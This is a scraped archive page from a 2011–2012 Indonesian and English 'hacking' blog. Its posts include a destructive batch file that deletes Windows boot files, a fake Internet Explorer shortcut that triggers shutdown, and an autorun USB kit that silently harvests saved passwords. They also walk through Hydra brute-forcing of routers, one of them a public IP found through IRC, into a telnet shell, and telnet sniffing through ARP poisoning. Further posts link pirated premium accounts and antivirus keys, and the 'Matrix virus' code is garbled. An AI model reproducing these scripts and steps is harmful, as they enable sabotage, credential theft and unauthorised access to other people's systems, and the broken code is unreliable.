android jones: Hacking

Home / Posts filed under Hacking

Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Notepad Script to Freeze Someone's desktop

Posted by Unknown Sabtu, 25 Agustus 2012 0 komentar

How to make virus with notepad to Freeze Someone's desktop

Freeze someone's desktop:

This trick lets you to freeze someone's desktop

1. Close everything you are working in, and work on desktop. so click on prtscr on your keyboard.
2.Go to paint and click on edit then paste
3.Save this file as (name).bmp and close the paint.
3.Now in the desktop, we have 2 remove desktop icons and shortcuts, so right click on the mouse and then properties, click on desktop then select customize desktop.
4.Uncheck all the boxes in desktop icons and press ok. then press apply then ok.
5.Now to remove the shortcuts in the desktop, go to start and select My Computer, then click on c: right click on ur mouse and select new folder, write it any name

6.Now go to desktop & select all da icons and right click on them then press cut,go to c: and paste them in the folder dat u created then close the window.

7.Now to put the fake desktop image and remove the taskbar, so right click on desktop and gp to properties, now go to desktop and select Browse, select the file that u saved then press appply then ok. now to remove the windows taskbar, right click on the taskbar and go 2 properties, then select autohide the taskbar and then apply then ok
now all the icons r fake and the user will think that his desktop is freezed
enjoy it.!

How to make virus with notepad to Freeze Someone's desktop

Baca Selengkapnya ....

Notepad MOST DANGEROUS VIRUS CALLED MATRIX

Posted by Unknown Jumat, 24 Agustus 2012 0 komentar

Here is the script for MOST DANGEROUS VIRUS CALLED MATRIX

1-Open notepad
2-Put in the following code

#include STDIN
#include STDLIB
#include CONIO
#include .......
#include .......
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat", ios::app);
fp
fp
fp
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp
fp
fp
fp
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout
}
goto START;

3-save it as matrix.bat
4-finish

AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN

AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN,STDLIB,CONIO , AND STUFF LIKE THAT

Baca Selengkapnya ....

How to make virus with notepad -to crash a PC

Posted by Unknown 0 komentar

Here there are some dangerous script to perform some hack tricks

How to crash a PC Forever !

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)
**Also remember this might not work with vista.**

How to stop someone's internet access:

@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

ShutDown PC million Times:

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a

save this as .bat file

......... Visit our FB page for recent hacking tricks ......

Baca Selengkapnya ....

Secret Hacking codes and tricks for Android Mobile Phones:

Posted by Unknown Minggu, 08 Juli 2012 0 komentar

Here i have provided several secret hack codes For Android Mobiles.And some tricks that can be done in your android mobile which makes you to know more about the device.

1. Complete Information About your Phone

*#*#4636#*#*
This code can be used to get some interesting information about your phone and battery. It shows following 4 menus on screen:
Phone information
Battery information
Battery history
Usage statistics

2. Factory data reset

*#*#7780#*#*
This code can be used for a factory data reset. It'll remove following things:
Google account settings stored in your phone
System and application data and settings
Downloaded applications
It'll NOT remove:
Current system software and bundled application
SD card files e.g. photos, music files, etc.
Note: Once you give this code, you get a prompt screen asking you to click on "Reset phone" button. So you get a chance to cancel your operation.

Like us in FB and get hacking updates ... LIKE

3. Format Android Phone

*2767*3855#
Think before you give this code. This code is used for factory format. It'll remove all files and settings including the internal memory storage. It'll also reinstall the phone firmware.
Note: Once you give this code, there is no way to cancel the operation unless you remove the battery from the phone. So think twice before giving this code.

4. Phone Camera Update

*#*#34971539#*#*
This code is used to get information about phone camera. It shows following 4 menus:
Update camera firmware in image (Don't try this option)
Update camera firmware in SD card
Get camera firmware version
Get firmware update count
WARNING: Never use the first option otherwise your phone camera will stop working and you'll need to take your phone to service center to reinstall camera firmware.

5. End Call/Power

*#*#7594#*#*
This one is my favorite one. This code can be used to change the "End Call / Power" button action in your phone. Be default, if you long press the button, it shows a screen asking you to select any option from Silent mode, AirPlane mode and Power off.
You can change this action using this code. You can enable direct power off on this button so you don't need to waste your time in selecting the option.

6. File Copy for Creating Backup

*#*#273283*255*663282*#*#*

This code opens a File copy screen where you can backup your media files e.g. Images, Sound, Video and Voice memo.

7. Service Mode

*#*#197328640#*#*
This code can be used to enter into Service mode. You can run various tests and change settings in the service mode.

Like us in FB and get hacking updates ... LIKE

8. WLAN, GPS and Bluetooth Test Codes:

*#*#232339#*#* OR *#*#526#*#* OR *#*#528#*#* - WLAN test (Use "Menu" button to start various tests)

*#*#232338#*#* - Shows WiFi MAC address

*#*#1472365#*#* - GPS test

*#*#1575#*#* - Another GPS test

*#*#232331#*#* - Bluetooth test

*#*#232337#*# - Shows Bluetooth device address

9. Codes to get Firmware version information:

*#*#4986*2650468#*#* - PDA, Phone, H/W, RFCallDate

*#*#1234#*#* - PDA and Phone

*#*#1111#*#* - FTA SW Version

*#*#2222#*#* - FTA HW Version

*#*#44336#*#* - PDA, Phone, CSC, Build Time, Changelist number

10. Codes to launch various Factory Tests:

*#*#0283#*#* - Packet Loopback

*#*#0*#*#* - LCD test

*#*#0673#*#* OR *#*#0289#*#* - Melody test

*#*#0842#*#* - Device test (Vibration test and BackLight test)

*#*#2663#*#* - Touch screen version

*#*#2664#*#* - Touch screen test

*#*#0588#*#* - Proximity sensor test

*#*#3264#*#* - RAM version

Control your media centre

Having a smartphone means that your media collection needn’t be limited to your PC. Install an app like Gmote alongside its PC server software and you’ll see what we mean: by using Wi-Fi streaming it’ll grant access to your entire media collection.
Its slick interface makes navigating your media collection a doddle and a couple of options mean that you can choose to play files on your PC or on your phone. It’s also possible to switch to a touchpad-style interface that allows you to take control of your PC from your touchscreen.

Baca Selengkapnya ....

How to Hack Passwords Using USB Pen Drive

Posted by Unknown Sabtu, 07 Juli 2012 0 komentar

From this post you can learn how to hack Passwords using USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc.5 -Tools Used in this hacking

1)MessenPass:

It is a tool that reveals the passwords of the following instant messenger applications:
MSN Messenger , Windows Messenger,Yahoo Messenger
Google Talk
ICQ Lite 4.x/5.x/2003
GAIM/Pidgin
MySpace IM
Digsby ...etc

2)Mail PassView:

It reveals the passwords and other account details for the following email clients:
Outlook Express
Windows Mail , Windows Live Mail
IncrediMail
Eudora
Netscape 6.x/7.x (If the password is not encrypted with master password)
Mozilla Thunderbird (If the password is not encrypted with master password)
Yahoo! Mail,Hotmail/MSN mail,Gmail - If the paswrd is saved in Messenger apps.

3)IE Passview:
4)Protected Storage PassView:
It reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer. The passwords are revealed by reading the information from the Protected Storage.

5)PasswordFox:

It allows you to view the user names and passwords stored by Mozilla Firefox Web browser.

Like us in FB and get updated hacking tools ...

How To Do it :- (Five Easy steps to Hack )

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you'll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP, Vista and Windows 7

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Like us in FB and get hacking updates ...

Baca Selengkapnya ....

How to Hack a Mobile

Posted by Unknown 0 komentar

In this article I will show you how to hack mobile phone with simple software called Super Bluetooth Hack v.1.8. This is a new version of Super Bluetooth Hack for conventional and mobile-based simbian. If you do not know what is a Super Bluetooth Hack, this program through MDM can be used to control other people’s mobile phone. You can control and read information from remote phone via bluetooth or infra, call from phone, read messages & contacts, change profile, restart phone, etc.

Like us in FB and get more updates abt hacking ... LIKE

How to install:
Download the Super Bluetooth Hack
Unzip the file and send it to your mobile phone.
Install the software in your mobile phone.
Inquire new devices through the software.
When connecting devices use a code 0000
Super Bluetooth Hack

With the program you can do things on the other phone such as:
- read SMS messages
- read contacts
- change profile
- play ringtone (even if phone is on silent)
- play songs
- restart the phone
- turn off the phone
- restore factory settings
- change ringing volume
- call from the other phone (it includes all call functions like hold etc.)

Like us in FB and get updated hacking tools ... LIKE

Notes:
1.) When connecting devices use the code 0000
2.) At start of programm on smartphones do not forget to turn on bluetooth before start of the application
3.) You have to download the file with Firefox, because Internet Explorer makes it a .zip file. If you don't want to download Firefox, you have to change the extension of the file from ".zip" to ".jar".

If you downloaded the file as a ".zip" file, here is explained how to change it to a ".jar" file:
With Windows:
1. Go to Start - Computer
2. In the menubar, go to: Tools - Folder Options... (With Windows Vista, you have to push the "Alt" key before you can see the "Tools" menu)
3. Go to "View", and than deselect the mark from "Hide extentions for known file types".
4. Then search for your "SuperBluetoothHack_v108.zip" file. Now change the last part from ".zip" to ".jar", and confirm it.
5. Now you can send it to your phone and open it.

Installation instructions for a Sony Ericsson using a USB cable:
1. Connect your phone with your computer.
2. It mounts as a disk.
3. Drag the file that you have just downloaded (SuperBluetoothHack_v108.jar) to /MSSEMC/Media files/other/ on that disk (=your phone).
4. Disconnect the USB cable from your phone.
5. Go to the folder "Other" on your phone.
6. There is the application. Select it and click "Install".
7. The program is installed on the place you specified. Most likely it's the Applications folder.

Change the language to English:
If the software starts with the language "Slovencina", you can change it to English on this way:
1.If you start the application for the first time you see "Nastavenia" in the title.
2. Go a bit down until you see "Jazyk".
3. Click choose.
4. Select "English".

5. Click "More".
6. Click "Spat".
7. Now the program is in English.

The latest version of Super Bluetooth Hack offers following functions if configured correctly:

- Informations: display informations about battery, network, sim card
- Ringing: playing sounds of incoming call, alarm clock.
- Calls: dialing number, ending a call..
- Language: change language in phone
- Keys, Pressed keys: pressing and watching pressed keys
- Contacts
- Reading SMS
- Silent mode: turning on or off
- Phone functionality: turning off the network / phone
- Hlasitosť zvonenia
- Alarms:
- Clock: change date and time
- Phone locks
- Clip, Clir
- Change network operator
- Java: start, delete java applications
- Media Player
- Text
- SE applications
- Calendar
- Keys sound
- temperature
- Paired devices:
- Volume
- Memory status:
- Radio icon
- Keylock

Baca Selengkapnya ....

ProxyCap 5.01.6 (x86/x64)

Posted by Unknown Selasa, 31 Januari 2012 0 komentar

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Baca Selengkapnya ....

Premium Account Fileserv, Uploading, Wupload & Other - 31 January

Posted by Unknown 0 komentar

Enjoy fileserve,Wupload,uploading & many other premium working accounts

DOWNLOAD :
http://hotfile.com/dl/144162948/9f8eb65/All_Premium_29-1.zip.html

Baca Selengkapnya ....

Kaspersky Keys - January 31

Posted by Unknown 0 komentar

Keys for following kaspersky products:-

Kaspersky Anti-Virus ( All Versions )

Kaspersky Internet Security ( All Versions )

Kaspersky Pure ( All Versions )

How to activate Kaspersky license using a key file :

1. Open Kaspersky License Manager (from lower right corner).

2. Click ‘Activate the application with a new license’ button. (Delete any trial key first, by clicking the red X next to the key).

3. Disable your internet connection (either disable Network adapter from control panel or turn off your modem/router).

4. Select ‘Activate commercial version’ and enter the activation license code as 11111-11111-11111-1111X
or select ‘Activate trial license’.

5. Click Next, an error dialog box will open as shown below:

6. Click Ok and you will now get the option to activate kaspersky using a key file.

7. Browse to the key location and activate kaspersky.

DOWNLOAD :

http://www.filesin.com/22A42130872/download.html

Baca Selengkapnya ....

Hacking Password Mikrotik - Part 2

Posted by Unknown Jumat, 27 Januari 2012 0 komentar

Hacking password Mikrotik secara langsung dengan memanfaatkan titik terlemah

Tidak ada sistem yang aman 100%, karena begitu banyak kemungkinan jika kita melihat dari berbagai sisi, sebelumnya penulis menulis artikel untuk hacking mikrotik dari sisi celah di telnet, tapi sebenarnya sama bahayanya dengan telnet yaitu FTP.

Percobaan penulis melakukan serangan BF (brute force) pada http, telnet dan ssh mengalami kegagalan, setelah termenung sekian lama ahkirnya penulis ingat serangan BF pada FTP di waktu sebelumnya, ahkirnya penulis mencoba melakukan BF pada FTP dan hasilnya ternyata sukses. Hmm username dan password untuk http, telnet, ssh, telnet adalah sama, satu celah kena maka semua kena, jadi?

Dari sisi kompatibilitas mikrotik dapat diancungi jempol tapi akibat dari banyaknya kompatibilitas yang ada dapat membawa ancaman lebih besar, seperti pada telnet yang penulis bahas dan praktek diartikel yang sebelumnya.

Oke, kita langsung praktek saja, kita periksa port yang terbuka di mikrotik

C:\Documents and Settings\serverdata>nmap -A 192.168.1.174

Starting Nmap 5.21 ( http://nmap.org ) at 2011-11-07 15:36 Pacific Standard Time

Nmap scan report for 192.168.1.174
Host is up (0.00013s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp MikroTik router ftpd 3.20
22/tcp open ssh OpenSSH 2.3.0 mikrotik 2.9 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey: 1024 c6:5e:04:d3:12:db:1d:98:c9:17:e2:98:77:d4:39:ba (RSA1)
|_1024 76:68:bc:ee:e3:40:f5:6b:72:ea:44:55:df:86:06:ec (DSA)
23/tcp open telnet Linux telnetd
80/tcp open http MikroTik router http config
|_html-title: mikrotik routeros > administration
2000/tcp open winbox MikroTik WinBox management console
8080/tcp open http-proxy Mikrotik http proxy
8291/tcp open unknown
MAC Address: 08:00:27:22:84:F1 (Cadmus Computer Systems)
Device type: media device
Running: Chumby embedded
OS details: Chumby Internet radio
Network Distance: 1 hop
Service Info: OS: Linux; Device: router

HOP RTT ADDRESS
1 0.13 ms 192.168.1.174

OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 170.00 seconds

Ternyata banyak port dan service yang terbuka di mikrotik.

Oke tidak perlu berpanjang-panjang lebar lagi, kita langsung hack saja mikrotik target.

C:\Documents and Settings\serverdata>

H:\hydra>hydra -l admin -P kamus.txt 192.168.1.174 ftp
Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-11-07 14:39:20
[DATA] 16 tasks, 1 servers, 23 login tries (l:1/p:23), ~1 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.174 login: admin password: jagoan
[STATUS] attack finished for 192.168.1.174 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2011-11-07 14:39:26

Binggo, password mikrotik sudah didapat, kita coba masuk lewat web.

Saat login dan exploitasi yang dapat dilakukan.
Menghajar para pengguna jaringan di mikrotik dengan mengarahkan DNS Servernya ke DNS Server milik kita, ya samalah tekniknya dengan teknik di artikel sebelumnya yang penulis tulis untuk poisoning DNS para pengguna yang menggunakan DHCP router.

Terbatas di web, pakai winbox saja dan login pakai pakai password yang kita hack dari FTP sebelumnya biar lebih banyak option lagi, jika ingin mengganti password router password mikrotik di winbox maka contohnya klik saja password dan muncul form input untuk password lama dan password baru.

sekian dulu, cayooo . . . .

Baca Selengkapnya ....

Hacking Password Modem/Router Speedy

Posted by Unknown Senin, 23 Januari 2012 0 komentar

Hacking password Router Speedy via internet dengan Hydra hingga mendapatkan shell di server yang berada dibelakang router

Apakah anda suka cari target di IRC untuk dihack router speedy atau di PC dibelakang router untuk pentest? Apakah anda masih mengandalkan target yang mengandalkan router speedy dengan keamanan password default yaitu user admin dan password admin ? Kalau anda masih mengandalkan metode serangan password default, maka disini penulis akan memberikan metode tambahan untuk anda yaitu metode brute force.

Disini penulis menggunakan tool Hydra. Hydra adalah tool untuk melakukan hacking password dengan menggunakan metode brute force, dengan anda memiliki kamus kata yang banyak yang dimungkinkan passwordnya ada di dalam kamus tersebut.

Di sini penulis contohkan misal kita join ke mIRC, kita contohkan saja nick ce_imutbgtt, nah whois aja itu nick dan kita akan mendapatkan IPnya.

Tampilan IP setelah di whois.

Setelah kita dapatkan IPnya maka jalankan saja di browser IP address tersebut.

Setelah dijalankan http://180.254.70.135 maka akan tampil form window seperti dibawah ini

menggunakan username admin dan password admin hasilnya adalah gagal maka anda akan dihadapkan pada 2 hal, terus maju atau tinggalkan target.

Jika anda ingin terus maju maka anda dapat menggunakan teknik brute force. Contohnya untuk melakukan exploitasi dengan hydra adalah

H:\hydra>hydra -m / -l admin -P data.txt 180.254.70.135 http-get
Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-10-17 14:27:56
[DATA] 11 tasks, 1 servers, 11 login tries (l:1/p:11), ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)
[80][www] host: 180.254.70.135 login: admin password: baseball
Hydra (http://www.thc.org) finished at 2011-10-17 14:27:57

H:\hydra>

Setelah kita masuk ke router dengan password yang didapat, jika kita ingin melakukan hacking server di belakang router maka kita dapat melakukan IP Forwarding dari router ke Server yang berada dibelakang router.

Disini kita tidak tahu IP-IP lokal berapa saja dibelakang router, karena itu kita dapat mengujinya satu persatu dengan melakukan ping walaupun tidak jaminan.

Disini diasumsikan IP Servernya adalah 192.168.1.2 setelah kita ping dapat.

D:\>ping 180.254.70.135

Pinging 180.254.70.135 with 32 bytes of data:

Reply from 180.254.70.135: bytes=32 time<1ms TTL=254
Reply from 180.254.70.135: bytes=32 time=2ms TTL=254
Reply from 180.254.70.135: bytes=32 time=11ms TTL=254
Reply from 180.254.70.135: bytes=32 time<1ms TTL=254

Setelah diping jalan maka kita dapat mencoba melakukan scanning dengan NMAP

C:\>nmap -v -A 180.254.70.135

Starting Nmap 5.21 ( http://nmap.org ) at 2011-10-17 15:28 Pacific Daylight Time

NSE: Loaded 36 scripts for scanning.
Initiating Ping Scan at 15:28
Scanning 180.254.70.135 [4 ports]
Completed Ping Scan at 15:28, 0.53s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:28
Completed Parallel DNS resolution of 1 host. at 15:28, 3.09s elapsed
Initiating SYN Stealth Scan at 15:28
Scanning 180.254.70.135 [1000 ports]
Discovered open port 23/tcp on 180.254.70.135
Discovered open port 80/tcp on 180.254.70.135
Discovered open port 3389/tcp on 180.254.70.135
Discovered open port 21/tcp on 180.254.70.135
Completed SYN Stealth Scan at 15:28, 2.34s elapsed (1000 total ports)

Disini dari scanning dengan NMAP kita mendapatkan adanya port 23 yaitu port untuk telnet server. Dengan aktifnya Telnet Server maka kita dapat melakukan brute force ke server Telnet dengan Hydra.

H:\hydra>hydra -l administrator -P data.txt 180.254.70.135 telnet
Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-10-17 15:21:22
[DATA] 6 tasks, 1 servers, 6 login tries (l:1/p:6), ~1 tries per task
[DATA] attacking service telnet on port 23
[STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)
[23][telnet] host: 180.254.70.135 login: administrator password: sepakbola
Hydra (http://www.thc.org) finished at 2011-10-17 15:21:26

Binggo, kita mendapatkan password telnetnya.

Masukkan login dan passwordnya dan kita akan mendapatkan shell dari telnet server. Contohnya :

Setelah kita klik Open. Masukkan login dan passwordnya.

Sip, kita masuk ke shell server.

Untuk download Hydra. http://0xa.li/files/hydra-6.0-windows.zip. Untuk cari kamusnya untuk brute force dapat dicari sendiri di google, jika ingin buat sendiri juga boleh. Cayooo!

Solusi : Pengamanannya jika anda ingin tetap dapat dipanggil router speedynya dari luar, maka anda dapat membuat password yang susah ditebak dengan berbagai kombinasi huruf dan angka yang kompleks tapi tetap mudah diingat. Jika ingin lebih aman lagi ya tidak perlu membuat router speedy bisa diakses dari internet, caranya misal dengan melempar port 80 ke IP lain yang kosong atau tidak dipakai.

Saya tidak bertanggung sama sekali atas semua hal-hal yang diakibatkan oleh artikel ini.

Baca Selengkapnya ....

Hacking password mikrotik - part 1

Posted by Unknown 0 komentar

Hacking password mikrotik memanfaatkan celah pada telnet

Perkembangan remote untuk administrator sudah berkembang pesat, tapi tidak menutup kemungkinan ada administrator mikrotik yang masih menggunakan telnet untuk remote ke mikrotiknya dengan berbagai alasannya seperti misal lebih universal, seperti dimana di windows sudah ada telnet clientnya yang dapat dipanggil tanpa menggunakan tool dari luar dan sebagainya.

Penggunaan telnet pada mikrotik dapat mengakibatkan password mikrotik di sniffing.

Contoh yang penulis lakukan dalam melakukan sniffing password telnet dengan CAIN.

Setelah penulis melakukan poisoning pada IP router mikrotik dan kemudian si administrator melakukan login ke mikrotik melalui telnet, penulis cukup masuk pada bagian passwords lalu telnet akan tampil baris seperti dibawah ini lalu penulis lakukan klik kanan lalu view.

Tampilannya setelah dilakukan view.

mendapatkan password mikrotik dan anda tinggal login dengan password tersebut untuk melakukan login.

Solusi : Untuk mencegah terjadinya tindakan pengambilan password dengan menggunakan sniffing maka gunakan SSH untuk remote secara console.

Cayoo . . . .

Baca Selengkapnya ....

Trick Hack Password Yahoo Messenger Lebih Mudah

Posted by Unknown 0 komentar

User pada umumnya malas mengetikkan password ketika akan login ke Yahoo Messenger, salah satu cara yang praktis adalah melakukan centang pada “Remember my ID & password”. Hal ini dilakukan supaya jika ingin chat, maka tinggal klik “sign in” saja. nga perlu repot ketik password lagi.
Namun pada kasus umum lainnya adalah ketika user lupa akan PASSWORD ID-nya karena saking terbiasa dengan keenakkan fitur “mengingat password” YM. atau celakanya ada juga orang lain yang sering menggunakan komputer dimana seseorang sudah melakukan “Remember my ID & password” pada komputer tersebut.
Meskipun password tersimpan dalam bentuk terenkripsi, kita atau orang lain juga bisa berchatting ria menggunakan account YM tersebut tanpa menggunakan software pembobol password atau keylogger apapun.
Nah.. beginilah kira kira meng-hack akun Yahoo messenger secara manual.
Jika di sebuah komputer (saya asumsikan sebagai komputer A) terinstall YM versi 7 keatas (versi 7,8,9,10,11) dengan tanda centang “Remember my ID & password”, maka anda bisa langsung jalankan registry editor (windows + r dan ketik regedit) dan masuk ke HKEY_CURRENT_USER\Software\yahoo\pager

kita akan menemukan dua buah “String Value” dibawah ini
Yahoo! User ID = airin_hero88
ETS = XxXXxXXXXxxXXXSENSORBRO-XXXXXXxxxXXXXXXX
string ETS dan Yahoo! User ID adalah ID Yahoo dan password terenkripsi dimana setiap komputer berbeda beda. Anda tidak bisa langsung memasukkan/mengedit hanya kedua file tersebut. Namun harus menyimpan semua data registry.

masuk ke HKEY_CURRENT_USER\Software\yahoo\ dan export registry tersebut. Klik kanan pilih export dan save menjadi ympass.reg ke flash disk.
Pada komputer yang lain (saya asumsikan sebagai kompuer B), matikan dulu Yahoo Mesennger jika saat itu sedang aktif, lalu klik dua kali pada file ympass.reg yang sudah anda simpan di flash disk
Jalankan Yahoo Messenger pada komputer B…. Selamat anda berhasil sign in sebagai akun YM komputer A tanpa perlu mengetahui password tersebut.
Trik ini mungkin bermanfaat bagi anda sebagai pemilik akun YM yang lupa password tapi ingin ber-YM-an di komputer lain. atau sebaliknya jika jatuh di tangan orang lain, maka dia bisa menjadi akun anda bahkan membaca isi inbox e-mail.

Baca Selengkapnya ....

How to Hack Administrator Account

Posted by Unknown Senin, 05 Desember 2011 0 komentar

Learn how to hack admin or administrator account in just 2 minutes. So guys get ready to hack your friends systems in 2 minutes.

Most of times specially in our college we don't have the access to the admin account, now suppose you want to install a software on that system. What you will do now? Ask the admin to enter the password for you But now simply hack it by yourself.

There are three ways to hack the admin password:
1. Simply accessing Unprotected Administrator Account.
2. Hacking Through Net User Command.
3. Resetting admin password using Ubuntu Live CD or DVD.

Lets start from the first technique to hack the admin or administrator password..

1. Simply Accessing the Unprotected Admin or Administrator account.

How this hack works ? When we install windows XP on our system we usually rename the username as our name or some other keyword. But windows always creates the administrator account whenever we set up windows XP. So when you create your user account during install , windows creates two accounts that is one is your username account and other is Administrator account. But the main thing is that you will only see the account with your username and the Administrator account is hidden but its there and you can easily access that using the following steps:
Step1: Start your computer.
Step2: Now let it start until the windows user's username appears as shown in snapshot below...

Step3: As This Window Appears Press Ctrl+Alt +Delete (2 times).. Now the Windows like shown below appears..

Step4: Now as shown above Enter the Administrator on the Username box and press enter... Now you will be login in the admin account can easily rest the password...

For Resetting password you can follow two Procedures..
Procedure 1: Goto Start --> Control Panel --> User Accounts.. Now select the account whose password u want to reset.
Procedure 2 : Follow the Next method i.e hacking password through Net User Command.

Note: Hack 1 will only work if Administrator(default) is unsecured i.e User as some other username like above shown figure...

2. Hacking admin or administrator account using net user command
Note: This will work only when user has access of user account or some how he has been allowed or working in admin account.

Steps to hack admin account:
Step1: Goto the Start and click on Run and Type cmd and press enter ...
Step 2: Now type "net user" in the command prompt to obtain the All accounts on that computer.. as shown in figure..

Step 3: Now Select the account Which u want to Reset the Password...
Suppose that we want to Reset the Password of Administrator...
Now Type "net user Administrator * " Without quotes... and press Enter. As shown in the Below Figure..

Method 3: Resetting windows password using Ubuntu Live CD or DVD
For this hack you will require the Ubuntu Live CD.

Steps involved :

Insert Ubuntu Live CD and boot from it.
Open terminal and install chntpw in Ubuntu. To do so use the following commands. sudo apt-get update
sudo apt-get install chntpw
Now mount your Windows volume. In my case it was dev/sda1. Replace it with yours.

sudo mkdir /media/WINDOWS
sudo mount /dev/sda1 /media/WINDOWS

Now navigate to the Windows configuration folder.

cd /media/WINDOWS/WINDOWS/system32/config/

To reset the administrator password enter

sudo chntpw SAM

After completing this command you will see 5 different choices. Select the 1st one and press Enter and its done.
Now restart your system, it will not ask any password.

Baca Selengkapnya ....